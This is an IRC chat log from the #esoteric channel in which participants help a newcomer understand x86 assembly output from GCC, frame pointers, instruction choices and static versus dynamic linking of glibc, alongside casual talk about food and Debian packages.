:kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :objdump -M intel -d < 1393714329 608077 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Thanks. < 1393714336 13509 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :as for getting gcc -S to output Intel syntax, I don't know < 1393714340 668748 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I doubt you can < 1393714346 144209 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Quit: My MacBook Pro has gone to sleep. ZZZzzz… < 1393714347 675370 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I don't really want to learn another syntax again < 1393714357 148654 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I have successfully extracted the Sheepie's Odyssey p3 < 1393714358 274328 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :mp3 < 1393714371 822123 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but gcc's assembler (as) can accept intel syntax, if you put ".intel_syntax noprefix" as the first line in the assembly file < 1393714398 535776 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I guess eax is the register where you put the error code in gcc? < 1393714401 867910 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Maybe you could also convert GCC's output to Intel syntax using external programs < 1393714409 774279 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but NASM is probably a better assembler to use on Linux, and it takes Intel syntax < 1393714410 158109 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Or returns in general? < 1393714411 423841 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :kmc: gcc's assembler is called gas < 1393714416 307805 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ais523: ok < 1393714424 533018 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you need to know AT&T syntax if you want to use GCC in-line assembly in C codes, of course < 1393714448 641185 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :objdump can output intel < 1393714449 546410 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Slereah_: yes http://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI < 1393714451 588820 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I think gcc -S can too. < 1393714491 333230 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :gcc -S -masm=intel < 1393714587 383459 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And if you do -masm=intel, you can use Intel syntax in inline asm() statements, too. < 1393714625 588464 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Neat~ < 1393714675 117169 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"Recent examples include studies on duck penises, shrimp running on a treadmill, robotic squirrels, and snail sex." < 1393714705 763970 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Bike: Ig Nobels? < 1393714720 715168 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :studies that politicians have said shouldn't be funded < 1393714864 202 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Maybe they will regret it when snails destroy their crops < 1393714974 697029 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :ais523: "as" (or "GNU as") is arguably the proper name, and GAS just a nickname. < 1393714984 828317 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: ah right < 1393714995 396457 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"This file is a user guide to the gnu assembler as (GNU Binutils) version 2.24." < 1393715014 643333 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The manual itself does call it "gas" or "GAS" here or there, though. < 1393715033 857628 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :If I say "It's a GAS!", will I be murdered < 1393715199 655246 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yes. rip < 1393715232 44067 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :flumping hack dash is a CAS CASCAS < 1393715382 407406 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"libcuda1 [non-free] recommends libcuda1-i386 (provided by libcuda1-i386:i386 331.49-1)" that's kind of strange. < 1393715409 18712 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"This metapackage helps the automatic installation of the 32-bit NVIDIA CUDA library when installing libcuda1 on amd64 with foreign architecture i386 enabled." < 1393715441 823104 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"recommended" currently has the semantics of "will install by default but doesn't break the build if it can't be installed" < 1393715471 30149 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes, but I don't think amd64 packages generally tend to recommend the i386 versions of those same packages. < 1393715490 58378 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm sure there's some particular-to-CUDA reason for it in this case, though. < 1393715529 28187 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How worried should I be about eating something that says it's 49% DV sodium? < 1393715552 289125 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :cup noodle or something? < 1393715558 525504 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(The changelog entry -- "Add libcuda1-i386:i386 package that can be recommended from amd64 packages that want to make the 32-bit CUDA runtime available." -- isn't terribly verbose either.) < 1393715564 491796 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Bike: yeah < 1393715575 827582 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :just don't rely on it too much and it should be fine < 1393715626 424681 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Well, was only planning on having one tonight < 1393715647 335985 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Be aware that that's 49% per serving. < 1393715650 468428 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :It's two servings. < 1393715661 351153 :trout!root@freebsd/developer/variable NICK :variable < 1393715725 19849 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :movq %rsp, %rbp < that's to reinitialize the stack, right? < 1393715762 866881 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :In AT&T syntax, that's equivalent to Intel "mov rbp, rsp" and it's to set up rbp as a frame pointer. < 1393715801 438490 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :pikhq: says serving size is one container < 1393715802 542379 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It's to avoid over-popping? < 1393715809 615736 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Define the top of the stack as the new base? < 1393715820 915304 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :So that you can't touch what's beneath? < 1393715856 478832 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's for all the reasons why you'd generally want to have a frame pointer. Can be helpful for debugging, provides a handy reference point to access local variables, etc. < 1393715879 709431 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It doesn't *enforce* anything. < 1393715910 486934 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(The value of rbp doesn't affect the behavior of push/pop at all.) < 1393715924 445094 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Oh < 1393715929 415373 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :also enables alloca implementations < 1393715955 318559 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Can I just put water in a styrofoam cup and microwave it? < 1393715958 409829 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(which move the stack pointer, but leave the frame pointer intact) < 1393715973 406268 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :int-e: Does glibc alloca() break if you compile with -fomit-frame-pointer? < 1393715983 600573 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :glibc doesn't have an alloca(). < 1393715988 176201 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :alloca() is provided by GCC. < 1393716017 490166 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, does GCC alloca() break if etc. < 1393716033 960392 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :And -fomit-frame-pointer only tells GCC to omit the frame pointer in cases where it's unneeded. < 1393716054 741599 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :So no, it does not break in that case. < 1393716062 43676 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :just don't mix alloca() and VLAs < 1393716066 60790 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :It just simply fails to omit the frame pointer IIRC. < 1393716068 716169 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :if you mix alloca() and VLAs you're gonna have a bad time < 1393716070 901106 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Yeah, those two mix weirdly. < 1393716089 912110 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Ah, I see < 1393716095 822568 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It's a handy reference for variables < 1393716104 239709 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Since local variables are put in the stack < 1393716121 488585 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :it's like the top and bottom of a mini-heap on the stack. < 1393716126 944170 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Adorable < 1393716158 783643 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Storing a base pointer also makes it quite easy to move the stack pointer to what it was on entry. < 1393716181 776864 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :To be honest, it's much more handy when it comes to 16-bit x86 code. < 1393716192 536280 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Because there's no [sp+X] addressing mode.) < 1393716199 497985 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Ah yes < 1393716209 760472 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Because the compiler doesn't actually push and pop here < 1393716217 963672 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It just writes movl $0, -4(%rbp) < 1393716220 909389 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :early intel processors much encouraged this because they didn't offer sp-relative addressing. < 1393716288 880618 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Whaaat < 1393716295 880297 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh and they had special instructions called enter and leave, for setting up and removing stack frames. I don't think they were ever used. < 1393716299 163978 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I do if(x) and it does a cmpl? < 1393716309 296400 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Shouldn't it just do a jz? < 1393716309 760004 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Slereah_: yes? < 1393716314 671478 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :int-e: they're used in every function by some compilers < 1393716318 682527 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Slereah_: no, the flags need to be set first < 1393716328 194146 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Ah right < 1393716334 773194 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I'm thinking of what's its name < 1393716336 992116 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :MIPS < 1393716354 698108 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :The x86 conditional jumps are based on the condition flags, so yeah. < 1393716359 409221 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Even if the flags were set by a previous instruction, if you're not compiling with optimizations on the compiler's not likely to notice that. < 1393716376 551237 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Let's try! < 1393716394 221848 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Nope, doesn't do it < 1393716400 871591 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ais523: I said the wrong thing. I believe the explicit sequence was faster, except perhaps on the 80286 that introduced the instructions (if it wasn't the 186, I never know) < 1393716465 374286 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Also... x++ is translated as addl $1, -8(%rbp) ? < 1393716467 251301 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Oh, has jcxz made it to 64 bit mode? *checks* < 1393716483 346838 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Why not inc? < 1393716515 902785 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :apparently. < 1393716566 592550 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Wait, does inc work on memory? < 1393716583 860458 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Slereah_: It'd be only 1 byte smaller. Perhaps the compiler writers didn't think that worthwhile. < 1393716595 425826 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Dunno < 1393716600 765490 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Slereah_: "Assembly/Compiler Coding Rule 33. (M impact, H generality) INC and DEC instructions should be replaced with ADD or SUB instructions, because ADD and SUB overwrite all flags, whereas INC and DEC do not, therefore creating false dependencies on earlier instructions that set the flags." < 1393716601 561297 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Seems a pretty natural translation? < 1393716605 772265 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Intel optimization manual.) < 1393716613 687500 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Ah, thanks. < 1393716630 387198 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :yes, thanks < 1393716635 795790 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Woo, Linux is installed < 1393716716 982767 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(The fact that not all flags are affected did occur to me, but I didn't think that the processor would then assume additional dependencies ... for things using just the zero flag, for example.) < 1393716743 619424 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :From what I recall, it doesn't track individual flags separately. < 1393716766 444712 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :that makes sense, but doesn't meet my expectations. < 1393716861 355099 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"inc r32" (40 +rd) used to be whole two bytes shorter than "add r32, 1" (83 /0 ib; and correspondingly for r16) but then the one-byte INC opcodes 40..47 were repurposed as REX prefixes in 64-bit mode. < 1393716883 802030 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :yes. evil, nasty AMD. < 1393716944 402837 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :gcc -S -masm=intel works, thanks! < 1393716954 625822 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can still make GCC use INC x instead of ADD x, 1 with -Os ("optimize for size"). < 1393716976 911869 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Are all the .cfi just markers? < 1393716994 910803 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Do they do things or are they just there for debugging < 1393717000 189616 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Debugging information directives. < 1393717013 554867 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And/or for exception handling, I guess. < 1393717019 90786 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Can I ask them to go away? < 1393717028 131187 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :what happens if you generate code for AMD? hmm. < 1393717086 299152 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://sprunge.us/IScR -- that's an inc. < 1393717103 331497 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :"These directives tell gas to emit Dwarf Call Frame Information tags which are apparently used to reconstruct a stack backtrace when a frame pointer is missing." < 1393717153 496415 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I do a putchar, and it just does "call putchar"? < 1393717156 614512 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I am disappoint < 1393717170 178751 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :-march=athlon64 generates an inc. good. < 1393717181 193462 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Heh, using -Os also makes GCC do a plain "ret" instead of "rep ret" (when specifying no particular processor to optimize for) for the empty function. < 1393717196 325142 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(The whole "rep ret" thing is really silly.) < 1393717215 251863 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Is there a way to generate the assembly file with the library function directly in it? < 1393717218 260548 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Inline, if you will < 1393717243 686150 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :static link the binary? < 1393717266 683794 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think even AMD's later optimization manuals changed the recommendation from "rep ret" to something that's not as blatantly invalid. < 1393717285 110200 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bike: That wouldn't include it in the assembler source, since no linking is involved at that time. < 1393717297 732553 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yeah i'm pretending Slereah_ is going the objdump route < 1393717316 629959 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Well let's try the objdump then < 1393717326 535118 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :As soon as the VM stops lagging < 1393717355 178697 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i don't know how to do static linkage though. who even does that any more < 1393717362 913742 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It (probably) won't inline the call inside the function, but if you link it statically, it'll be part of the binary. < 1393717386 169607 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It's unfortunate I don't know what it means < 1393717388 71981 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you might be better off just looking at glibc source... < 1393717391 961146 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Your objdump -d output is likely to be... somewhat big.) < 1393717400 990467 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ok, well, when you write a program you are almost certainly going to need libraries < 1393717413 648348 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :in 'static linking' you accomplish this by basically just including the entire library binary in your program < 1393717430 955862 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Can't the compiler just include the used functions? < 1393717443 954282 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that would still mean a billion copies of p utchar on your drive, mon < 1393717450 706500 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Slereah_: it does < 1393717455 506644 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :It's done on a object file by object file basis. < 1393717458 753556 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Sure, but this isn't for making programs right now < 1393717461 783563 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :well, the used object files, but static libraries are built with one object file per function for that reason < 1393717466 479361 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Just to look at how it is built < 1393717474 805169 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :static linking is usually inefficient, obviously, so nowadays you usually use 'dynamic linking', where you put in your program a thing that says 'yo i need so and so library' < 1393717490 869135 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :141478 lines of output for objdump -d on a statically linked int main(void) { putchar(42); } program. < 1393717498 82072 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :and then when the program is run, t he interpreter (yes there is one) looks at that and includes the library binary at runtime instead. < 1393717560 871916 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :fizzie: 986 if you use musl instead of glibc. < 1393717588 490372 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :let's see, where's that one paper on the subject < 1393717591 219630 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :pikhq: So... glibc is over 143 times better, right? < 1393717633 665913 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh, this is good. http://repzret.org/p/repzret/ < 1393717635 9072 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Yeah no < 1393717644 429001 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :But the numbers are bigger! < 1393717653 16557 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://www.akkadia.org/drepper/dsohowto.pdf i think this was the one < 1393717671 96941 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Slereah_: this will probably be informative for you. < 1393717714 951621 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :int-e: Right, so it was "ret 0" that they changed the recommendation to. < 1393717794 208870 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Damn < 1393717803 519504 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :The disassembly of the program is pretty fucking huge < 1393717819 882105 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :welcome to the world < 1393717842 936261 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fizzie: I like the qemu bug in the end. < 1393717848 817688 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :glibc is... kinda not even remotely meant for static linking. < 1393717857 805266 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :ais523: Heh, "python3-numpy" lists as dependencies "python", "python3.3" *and* "python3.4" all. (In sid, that is.) < 1393717891 761406 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :how coincidental, when i searched for this article by that asshole glibc maintainer i found something deriding static linking too < 1393717924 789084 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Let's remove the putchar < 1393717927 114801 :augur!~augur@50.246.68.190 QUIT :Remote host closed the connection < 1393717928 859933 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Should slim it down a bit < 1393717941 339361 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Won't help, all that code is being pulled in by the glibc entry point. < 1393717947 213226 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Nooooo < 1393717953 771658 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :glibc is really wonky with static linking for that matter. It dlopens stuff. < 1393717971 331781 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Goddamn < 1393717981 923226 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :and you wonder why i want to do assembly without an OS in the way! < 1393717985 884109 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :pikhq: Hey, it did help "a bit"; from 141478 lines to 141380. < 1393717986 687447 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Look at all that bullshit < 1393717990 936875 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :For an empty program < 1393718005 41372 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I do wonder why you are looking at the bullshit. < 1393718010 524112 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :same < 1393718027 947855 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Since it's not at all relevant for doing some assembly. < 1393718051 534905 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :http://sprunge.us/REEL Here, have something saner. < 1393718060 267372 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :well everyone learning assembly goes through the 'wow this is so inefficient! i can do better than this' stage, right. or was that just me < 1393718060 485365 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I am curious! < 1393718071 934563 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Well I understand why it is there < 1393718084 456698 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Because standardization and having to work with everything else < 1393718088 583930 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :When discussing glibc, this is trivially true... < 1393718109 462469 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :glibc is kinda a giant pile of accumulated cruft. < 1393718114 600805 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It's just not really necessary for just writing some assembly in a vacuum for fun < 1393718130 199910 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :well, no. you could ahve just left it dynamically linked. < 1393718139 920781 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Well right now there's nothing to link < 1393718144 918372 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Because the program is empty < 1393718159 546208 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :what is your program exactly? i thought it had putchar < 1393718166 881624 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I removed it < 1393718170 475045 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :now it is return 0; < 1393718173 943186 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the main init stuff i guess, i've never been totally clear on how that works < 1393718181 629246 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That's not empty at all. < 1393718183 656256 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :For the record, the line counts of objdump -d on a dynamically linked empty program and a single putchar are 170 and 175 lines, respectively. < 1393718230 920149 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You might be interested in http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html in respect to a "return 0;" program, though. < 1393718249 194886 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Thanks. < 1393718287 399225 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It's still related to writing programs for an operating system, but still.) < 1393718289 640313 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: written by one of the world's best INTERCAL programmer < 1393718292 325644 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*programmers < 1393718307 851786 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :The best out of three? < 1393718344 967715 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm imagining some kind of an Elo ranking for INTERCAL programmers. < 1393718352 316149 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is it even safe to eat other foods if this isn't filling? < 1393718375 923864 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You are going to make a Elo rankings for INTERCAL programming? < 1393718396 100297 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :we'd fucking better < 1393718403 153909 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Sgeo: as long as those other foods aren't mounds of salt < 1393718410 571239 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes make up such a Elo rankings < 1393718415 777619 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Bike: does such food exist? < 1393718435 548027 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh, right, you usually eat incredible garbage < 1393718450 395023 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :in that case i'm gonig to say it's unsafe for you to eat anything because everything you eat is terrible < 1393718454 381957 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :just photosynthesize < 1393718482 561059 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Well, a potato chip is potato-flavored salt. < 1393718493 480426 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :On the plus side, this is not convenient food for me to make < 1393718509 662635 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't have much in the way of clean microwave-safe containers. Boiling water in a pot now < 1393718527 291121 